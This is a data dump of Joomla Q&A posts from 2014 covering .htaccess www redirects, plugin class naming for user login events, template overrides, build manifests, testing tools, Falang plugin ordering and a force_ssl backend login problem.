  <row Id="3662" PostTypeId="2" ParentId="3659" CreationDate="2014-07-18T18:25:36.190" Score="0" Body="&lt;p&gt;This is the one I use&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rewrite engine should already be on in the .htaccess file of joomla so dont repeat that line. Make sure the force www section is directly after the Rewrite On statement. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Only do this line ONCE!&#xA;RewriteEngine On&#xA;&#xA;# Force the &quot;www.&quot;&#xA;RewriteCond %{HTTP_HOST} !^www\.domain\.biz$ [NC]&#xA;RewriteRule ^(.*)$ http://www.domain.biz/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using this on 3 Joomla 3.x sites at the moment with no issues&lt;/p&gt;&#xA;" OwnerUserId="1528" LastActivityDate="2014-07-18T18:25:36.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3663" PostTypeId="1" CreationDate="2014-07-18T18:44:19.507" Score="1" ViewCount="391" Body="&lt;p&gt;How can I style tag links in articles and in the popular tag module?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tag manager lets me insert custom css classes for the tag link in articles, but this does not seem to work, as in no class gets inserted in the a element of the tag link.&lt;/p&gt;&#xA;" OwnerUserId="1666" LastActivityDate="2014-07-18T19:42:02.643" Title="Style tag links" Tags="|tags|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3664" PostTypeId="2" ParentId="3663" CreationDate="2014-07-18T19:42:02.643" Score="1" Body="&lt;p&gt;You can do one of 2 things (that is if the options are not working for you).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 is to create a template override, this can be done in joomla 3.x by going into the template manager then go to templates. Here select the template you are using and go to overrides and select the modules/components you want to override. With the override you can adjust the html as you want, adding the classes you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 you can just &quot;find&quot; the element without a class, something like &lt;code&gt;div.the_class ul&amp;gt;li&amp;gt;a&lt;/code&gt; can get to your anchor without needing a class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are just alternate ways if the class options do not seem to work for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure to check your global configuration as well, for tags/articles (as well as the actual module using it).&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-07-18T19:42:02.643" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3665" PostTypeId="1" CreationDate="2014-07-18T19:59:09.410" Score="1" ViewCount="170" Body="&lt;p&gt;I can create overrides or alternate layouts in template/html/component/&#xA;but how can I extend the query based on params in my new layout?&#xA;How can I extend the model without breaking core?&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="185" LastEditDate="2014-07-18T20:53:55.800" LastActivityDate="2014-07-19T12:34:57.527" Title="How do you extend Content Category" Tags="|overrides|template-override|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3666" PostTypeId="1" AcceptedAnswerId="3669" CreationDate="2014-07-18T20:35:39.007" Score="2" ViewCount="1435" Body="&lt;p&gt;I am trying to write a simple plugin that runs after the user logs in to the system.  I have written content and authentication plugins before with no issues.  In this case I have stripped the plugin down to the following and still see no evidence it ever runs.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;  defined('_JEXEC') or die; &#xA;  class Plgtest extends JPlugin {   &#xA;    public function onUserLogin($user, $options = array()) {&#xA;      JFactory::getApplication()-&amp;gt;enqueueMessage('I Ran!.', 'message');   &#xA;    } &#xA;  } &#xA; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried both the onUserLogin and onUserAfterLogin events and never see the plugin run.  My xml file is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension type=&quot;plugin&quot; version=&quot;3.0&quot; method=&quot;upgrade&quot; group=&quot;user&quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;User - test&amp;lt;/name&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;2014-07-19&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0&amp;lt;/version&amp;gt;&#xA;    &amp;lt;releaseDate&amp;gt;2014-07-19&amp;lt;/releaseDate&amp;gt;&#xA;    &amp;lt;releaseType&amp;gt;First release!&amp;lt;/releaseType&amp;gt;&#xA;    &amp;lt;author&amp;gt;me&amp;lt;/author&amp;gt;&#xA;    &amp;lt;authorEmail&amp;gt;me@me.com&amp;lt;/authorEmail&amp;gt;&#xA;    &amp;lt;authorUrl&amp;gt;www.me.com&amp;lt;/authorUrl&amp;gt;&#xA;    &amp;lt;copyright&amp;gt;(c) 2014 me&amp;lt;/copyright&amp;gt;&#xA;    &amp;lt;description&amp;gt;test&amp;lt;/description&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;    &amp;lt;filename plugin=&quot;test&quot;&amp;gt;test.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;    &amp;lt;config&amp;gt;            &#xA;        &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;            &amp;lt;fieldset name=&quot;general_settings&quot; label=&quot;Connection Settings&quot;&amp;gt;&#xA;                &amp;lt;field name=&quot;host&quot; type=&quot;text&quot; default=&quot;127.0.0.1&quot; label=&quot;Host&quot; description=&quot;Database host.&quot; /&amp;gt;&#xA;                &amp;lt;field name=&quot;database&quot; type=&quot;text&quot; default=&quot;&quot; label=&quot;Database&quot; description=&quot;Database name.&quot; /&amp;gt;&#xA;                &amp;lt;field name=&quot;prefix&quot; type=&quot;text&quot; default=&quot;&quot; label=&quot;Prefix&quot; description=&quot;Database prefix, may be blank.&quot; /&amp;gt;&#xA;                &amp;lt;field name=&quot;user&quot; type=&quot;text&quot; default=&quot;&quot; label=&quot;User&quot; description=&quot;User name.&quot; /&amp;gt;&#xA;                &amp;lt;field name=&quot;password&quot; type=&quot;password&quot; default=&quot;&quot; label=&quot;Password&quot; description=&quot;User password.&quot; /&amp;gt;&#xA;            &amp;lt;/fieldset&amp;gt;&#xA;        &amp;lt;/fields&amp;gt;&#xA;    &amp;lt;/config&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help or example code from a working plugin would be appreciated.  Never had such problems before, hopefully whatever I am missing is painfully obvious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the connection settings are irrelevant in this example.  The real plugin connects to an external database.&lt;/p&gt;&#xA;" OwnerUserId="1667" LastEditorUserId="159" LastEditDate="2014-07-18T21:40:05.033" LastActivityDate="2014-07-19T23:27:21.347" Title="onUserLogin and onUserAfterLogin events don't seem to fire" Tags="|plugin|user|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3668" PostTypeId="2" ParentId="3666" CreationDate="2014-07-18T21:38:22.170" Score="0" Body="&lt;p&gt;I think that if you make your plugin part of the &lt;code&gt;user&lt;/code&gt; group, you need to change the class name to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PlgUserTest&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-07-18T21:38:22.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3669" PostTypeId="2" ParentId="3666" CreationDate="2014-07-19T01:08:00.913" Score="6" Body="&lt;p&gt;You don't mention a Joomla version so I'm assuming 3.x, although this should be pretty much the same for 2.5.x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As mentioned your plugin's class name is incorrect, the name of the class is derived from the plugin name and type, and the file/folder naming conventions &amp;amp; structure for the plugin help Joomla find and load the right php files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your plugin is in &lt;code&gt;/plugins/user/&lt;/code&gt; and it's folder is &lt;code&gt;test&lt;/code&gt;, main file is &lt;code&gt;test.php&lt;/code&gt; (with a &lt;code&gt;test.xml&lt;/code&gt; file) then your class should be called &lt;code&gt;PlgUserTest&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JPluginHelper&lt;/code&gt; basically loads a category of plugins (&lt;code&gt;authentication&lt;/code&gt;, &lt;code&gt;captcha&lt;/code&gt;, &lt;code&gt;content&lt;/code&gt;,... &lt;code&gt;user&lt;/code&gt; etc) in &lt;code&gt;::importPlugin()&lt;/code&gt; based on the type e.g. &lt;code&gt;user&lt;/code&gt;. First it gets the published plugins from the database (so your plugin needs to be registered with Joomla, this happens in the install process or you can use the &quot;Discover&quot; option in the Extension Manager).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;importPlugin()&lt;/code&gt; method then loops through the published plugins matching for the &lt;code&gt;$type&lt;/code&gt; it's been asked to load, for each match it &lt;code&gt;import()&lt;/code&gt;'s the plugins main &lt;code&gt;php&lt;/code&gt; file by building the &lt;code&gt;$path&lt;/code&gt; to it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$path = JPATH_PLUGINS . '/' . $plugin-&amp;gt;type . '/' . $plugin-&amp;gt;name . '/' . $plugin-&amp;gt;name . '.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From that you can see the path to your file should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/plugins/users/test/test.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once it's got the file, it then loads the class by creating the &lt;code&gt;$className&lt;/code&gt; from the attributes it already has using this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$className = 'Plg' . $plugin-&amp;gt;type . $plugin-&amp;gt;name;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From this you can see that your class name should be &lt;code&gt;PlgUserTest&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="107" LastEditorUserId="107" LastEditDate="2014-07-19T23:27:21.347" LastActivityDate="2014-07-19T23:27:21.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3672" PostTypeId="2" ParentId="3665" CreationDate="2014-07-19T12:29:22.337" Score="2" Body="&lt;p&gt;Going to be a little more thorough that needed so that people can read this and understand wht you mean by overrides if they have a similar issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your template you should have a HTML Folder&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create a new view for a component (this is the same principal for modules, I will use COM_CONTENT in this example)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a folder called com_content&lt;/li&gt;&#xA;&lt;li&gt;Create a folder for the view you want to modify. You can see the list of views by going into (root)/components/com_content/views&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In this case let say we want to create an override for article, archive and category&#xA;- Copy the contents (php view files) of (root)/components/com_content/views/(view)/tmpl into the (template)/html/com_content/(views)&#xA;- You do NOT need the tmpl folder&#xA;- php files are the only thing you need to copy to override a view&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So Our folder structure of the template will be&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RDDmq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am sure you know but this, but just to clarify&lt;/p&gt;&#xA;&#xA;&lt;p&gt;default.php would be the main template file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;default_items.php would be a block of the default.php template, likely a seperate view such as a grid&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well done! You now have an override you can alter without worry about an update breaking it and you add whatever new code you want. However you may still have to make some minor alterations to the view.html.php which is generally the thing that generates the variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That however is the easy but.. views are simple, but to make a change to the model or controller, you need the help of a third party plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than copy / paste verbatim, I will just link you to the short article that should get you going&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/How_to_override_the_component_mvc_from_the_Joomla!_core&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://docs.joomla.org/How_to_override_the_component_mvc_from_the_Joomla!_core&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1528" LastEditorUserId="1528" LastEditDate="2014-07-19T12:34:57.527" LastActivityDate="2014-07-19T12:34:57.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3673" PostTypeId="1" CreationDate="2014-07-19T12:48:44.557" Score="1" ViewCount="1491" Body="&lt;p&gt;I'm working with Joomla today, but I'm stuck at something. I'm using FaLang to translate the site, and everything is working fine. The content and the menu item's are showing properly. But the menu item alias is not translated, though I filled in the field. It's still in it's default language when I hover it to see the link. Is there some setting I didn't see? I think I searched through the whole system. For the menu I'm using the extension DJ-Menu.&#xA;I can't update the plugin because it has been bought more than six months ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Versions:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Joomla: 2.5.21 &lt;/li&gt;&#xA;&lt;li&gt;FaLang: 1.2.0&lt;/li&gt;&#xA;&lt;li&gt;DJ-Menu: 1.7.3&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I hope anyone recognises this (bug?) and can help me.&#xA;Thanks a lot!&lt;/p&gt;&#xA;" OwnerUserId="1669" LastActivityDate="2014-12-06T13:24:09.170" Title="Falang Menu Item Alias Not Working" Tags="|extensions|menu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3674" PostTypeId="1" AcceptedAnswerId="3682" CreationDate="2014-07-19T14:22:01.710" Score="0" ViewCount="268" Body="&lt;p&gt;I'm developing a custom Joomla component for J3.X, and it's getting a bit tedious to keep on updating the &lt;code&gt;com_mycomponent.xml&lt;/code&gt; file with a list of files and folders included in the component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to use Apache Ant to autogenerate a manifest file, however it's quite tricky to get it to generate the list of files and folders in the format that Joomla requires - I'm currently using something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fileset id=&quot;site&quot; dir=&quot;./admin&quot;/&amp;gt;&#xA;&#xA;&amp;lt;pathconvert pathsep=&quot;&amp;amp;lt;/filename&amp;amp;gt;${line.separator}&amp;amp;lt;filename&amp;amp;gt;&quot; property=&quot;siteFiles&quot; refid=&quot;site&quot;&amp;gt;&#xA;&amp;lt;/pathconvert&amp;gt;&#xA;&#xA;&amp;lt;echo file=&quot;./test.xml&quot; append=&quot;true&quot;&amp;gt;${siteFiles}&amp;lt;/echo&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but the paths aren't quite right, and I still need to differentiate between files and folders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ant is one approach - you can see one user's attempts on &lt;a href=&quot;http://docs.joomla.org/Joomla_Ant_build_files&quot; rel=&quot;nofollow&quot;&gt;this Wiki page&lt;/a&gt; - but alas it doesn't quite generate a full manifest and the author seems to be stuck at the same stage as I. What is the recommended method for automating this process? If Ant, what script do you use, and if not, what tools do you use?&lt;/p&gt;&#xA;" OwnerUserId="90" LastActivityDate="2014-07-20T13:57:58.950" Title="Best strategy for updating component manifest using Ant or alternative" Tags="|joomla-3.x|development|component|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3675" PostTypeId="1" AcceptedAnswerId="3679" CreationDate="2014-07-19T17:00:14.013" Score="1" ViewCount="204" Body="&lt;p&gt;After recently having started developing a Joomla component, the question of how to systematically test it for bugs has entered my head.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already have some experience in using testing frameworks for other programming languages than PHP and JavaScript (e.g. JUnit for Java), but although I have already developed projects in vanilla PHP/JS, I have yet to acquaint myself with testing tools specifically designed for these two programming languages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick internet research suggests that there is a ton of testing frameworks for both PHP and JavaScript. Before settling for any of them, I would like to know whether there are frameworks which are particularly suited for or even specifically aimed at testing Joomla components (or more generally Joomla extensions, i.e. components, modules, plugins, and even templates).&lt;/p&gt;&#xA;" OwnerUserId="1664" LastEditorUserId="1629" LastEditDate="2014-07-31T12:11:36.413" LastActivityDate="2014-07-31T12:11:36.413" Title="Testing Joomla extensions" Tags="|component|development|bugs|bug-testing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3676" PostTypeId="1" AcceptedAnswerId="3677" CreationDate="2014-07-20T00:02:56.203" Score="3" ViewCount="496" Body="&lt;p&gt;I've been trying to figure out how to do this, but nothing seems to really work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to override the results/pagination renderers from ZOOFilter which I know is in &lt;code&gt;/plugins/system/zoofilter/zoofilter/layouts/{search,_pagination}.php&lt;/code&gt;, however it only appears that I can override templates?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way that ZOOFilter is currently built is that it does not have any &lt;code&gt;/tmpl&lt;/code&gt; directories in any of the plugin's locations within my installation, and obviously overwriting the plugin's code itself is more or less out of the question.&lt;/p&gt;&#xA;" OwnerUserId="1670" LastEditorUserId="1629" LastEditDate="2014-07-30T23:58:21.793" LastActivityDate="2014-07-30T23:58:21.793" Title="Overriding a plugin's non-templated layout files?" Tags="|component|overrides|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3677" PostTypeId="2" ParentId="3676" CreationDate="2014-07-20T02:23:02.653" Score="2" Body="&lt;p&gt;To override zoofilter plugin: if you create your own system plugin with the same zoofilter class and it's loaded in order before zoofilter (you can even disable it), it should never be instantiated.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-07-20T02:23:02.653" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3678" PostTypeId="2" ParentId="3674" CreationDate="2014-07-20T02:28:04.960" Score="2" Body="&lt;p&gt;&lt;strong&gt;phing&lt;/strong&gt; is used in similar way: &lt;a href=&quot;http://docs.joomla.org/Setting_up_your_workstation_for_extension_development_(build_with_Phing)#More_Phing_Examples&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Setting_up_your_workstation_for_extension_development_(build_with_Phing)#More_Phing_Examples&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;grunt&lt;/strong&gt; is popular at this time, but I've never implemented it.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-07-20T02:28:04.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3679" PostTypeId="2" ParentId="3675" CreationDate="2014-07-20T02:32:03.203" Score="4" Body="&lt;p&gt;&lt;strong&gt;phpunit&lt;/strong&gt; is the current official tool: &lt;a href=&quot;http://docs.joomla.org/Running_Automated_Tests_for_the_Joomla_CMS&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Running_Automated_Tests_for_the_Joomla_CMS&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can download the main Joomla repo to review how to build test cases: &lt;a href=&quot;https://github.com/joomla/joomla-cms/tree/staging/tests/unit&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/tree/staging/tests/unit&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-07-20T02:32:03.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3680" PostTypeId="1" AcceptedAnswerId="3684" CreationDate="2014-07-20T11:22:42.100" Score="3" ViewCount="1533" Body="&lt;p&gt;I'm developing a Joomla 3.X component and need to register a few classes using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::register('MyClass', '/path/to/MyClass.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the 'best practice' location for including these calls? Within the &lt;code&gt;__construct&lt;/code&gt;er of the controller, the view, the model, or elsewhere? Or does it not really matter?&lt;/p&gt;&#xA;" OwnerUserId="90" LastActivityDate="2014-07-20T14:13:59.463" Title="Where to include JLoader::register calls?" Tags="|joomla-3.x|development|component|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3681" PostTypeId="1" AcceptedAnswerId="3693" CreationDate="2014-07-20T12:00:02.930" Score="4" ViewCount="290" Body="&lt;p&gt;I have an extension where the user can manage sermons for their church. That's done with the regular list and items views.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now a user asked if it would be possible to add a feature to order physical copies of those sermons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before I start coding I wanted to see if there is a way to use existing extensions to do that. With so many form and shop extensions out there, I wondered if there are some, where I can write a plugin or some hooks to prepopulate the form or cart with my items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simplest thing would be to have a form where the user could give his address and it sends the titles of the sermons he wants to have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could do such a form myself, but usually the site admin wants to customise it and maybe add more or less fields to it. That's why I think it would be nice to use a form (or shop) component to build that form. But fot that the component would need some sort of API, hooks or whatever where I could &quot;prepopulate&quot; it with the selected sermon data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of something like that?&lt;/p&gt;&#xA;" OwnerUserId="52" LastEditorUserId="52" LastEditDate="2014-07-21T07:51:14.277" LastActivityDate="2014-07-21T08:55:05.823" Title="Is there a way to prepopulate a 3rd party form with data?" Tags="|component|extensions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3682" PostTypeId="2" ParentId="3674" CreationDate="2014-07-20T13:57:58.950" Score="3" Body="&lt;p&gt;This was my pain when I started coding components, then I stopped being so fussy about the files. Typically in a component the files in the root dont change, just the contents of the views, models etc.. so my typical manifest looks like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;files folder=&quot;site&quot;&amp;gt;&#xA;    &amp;lt;folder&amp;gt;controllers&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;folder&amp;gt;css&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;folder&amp;gt;files&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;folder&amp;gt;images&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;folder&amp;gt;mobile&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;folder&amp;gt;models&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;folder&amp;gt;views&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;filename&amp;gt;controller.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;filename&amp;gt;router.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;filename&amp;gt;rtannounce.php&amp;lt;/filename&amp;gt;&#xA;&amp;lt;/files&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so the only files I need worry about ar the handful ion the root. This works just as well for the admin files. Not quite the answer you were seeking I suppose, but why make life complicated!&lt;/p&gt;&#xA;" OwnerUserId="1528" LastActivityDate="2014-07-20T13:57:58.950" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3683" PostTypeId="2" ParentId="3680" CreationDate="2014-07-20T13:58:27.160" Score="2" Body="&lt;p&gt;I usually do it depending on where I need it.&#xA;If I need the class only in a particular view, I just register it in the view.&#xA;If I need it in most code anyway, I register it in my main controller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't really matter as long as you do it prior to using the class :-)&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-07-20T13:58:27.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3684" PostTypeId="2" ParentId="3680" CreationDate="2014-07-20T14:13:59.463" Score="3" Body="&lt;p&gt;This is just my personal preference, but I register autoloading in the extension entry file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mycomponent.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since this file is always initiated before everything and registering with JLoader doesn't have any significant performance drawbacks, it helps prevent common issues. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like not registering before initializing a class. Plus if you move something you don't have to try to remember where you registered it. &lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2014-07-20T14:13:59.463" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3685" PostTypeId="2" ParentId="3673" CreationDate="2014-07-20T15:25:55.127" Score="2" Body="&lt;p&gt;Assuming you have setup the menus correctly, this may just be a simple case of a plugin conflict as Falang needs a higher priority&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This case can happen with a conflict with another system plugin (maybe the DJ-Menu). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;GO to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EXTENSIONS -&gt; PLUGINS&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find the FALANG plugin (type system)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set the falang plugin to an ordering value of -1 and save the order and see if this solves the problem (empty your JOOMLA cache before reloading pages)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT more info on plugins&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ordering should be a text field as you can manually just type in numbers and click save. This may be different if you have a custom admin template&lt;/p&gt;&#xA;&#xA;&lt;p&gt;View your list of plugins, filter the list by SYSTEM&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YbbL8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click ORDERING to put the plugins in ordering order&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WCzUV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should NOW be able to type in -1 and click the little SAVE DISK icon next to the word ordering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tvxrF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternativly, click ORDERING so you are again using the ordering fuction and just use the blue arrows to manually move the FALANG plugin to the top. The system, should then assign ordering numbers autmoatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The end result you need is the FALANG to be first in the list when you put things in ORDERING order&lt;/p&gt;&#xA;" OwnerUserId="1528" LastEditorUserId="1528" LastEditDate="2014-07-21T13:05:30.070" LastActivityDate="2014-07-21T13:05:30.070" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3686" PostTypeId="1" CreationDate="2014-07-20T18:25:00.813" Score="3" ViewCount="242" Body="&lt;p&gt;I recently upgraded my Joomla site to 3.3.1 from 3.2.2, upgraded the PHP version on my server from 5.3 to 5.5.14 and installed NGINX.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The upgrade went fine, a couple of minor styling and extension related problems but overall a nice smooth update. That was until I enabled $force_ssl on the backend only. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this enabled the backend login screen simply flashes but proceeds no further. What i've tried to diagnose:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Checked for server error logs - no related logs found&lt;/li&gt;&#xA;&lt;li&gt;Enabled PHP errors and Joomla debugging - nothing shown&lt;/li&gt;&#xA;&lt;li&gt;logging in from different browsers and machine's&lt;/li&gt;&#xA;&lt;li&gt;Clearing temp files on browsers&lt;/li&gt;&#xA;&lt;li&gt;clearing cache/ temp files on joomla site&lt;/li&gt;&#xA;&lt;li&gt;Downgrading PHP to 5.4.30&lt;/li&gt;&#xA;&lt;li&gt;Using Yireo SSL redirection plugin instead of joomla force_ssl&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here's the strangest thing - If I disable force_ssl, but direct the browser to  it will login fine, so just a problem with forcing SSL or the redirection Joomla's using?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because I'm not the only one using the back end I can't rely on people going to the HTTPS:// address so really do need to have the ability to 'force' people to use SSL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm running out of ideas - can anyone out there point me in the right direction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers! &lt;/p&gt;&#xA;" OwnerUserId="1671" LastActivityDate="2014-07-20T20:49:42.890" Title="HTTPS and Force_SSL backend login problem" Tags="|php|security|login|nginx|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
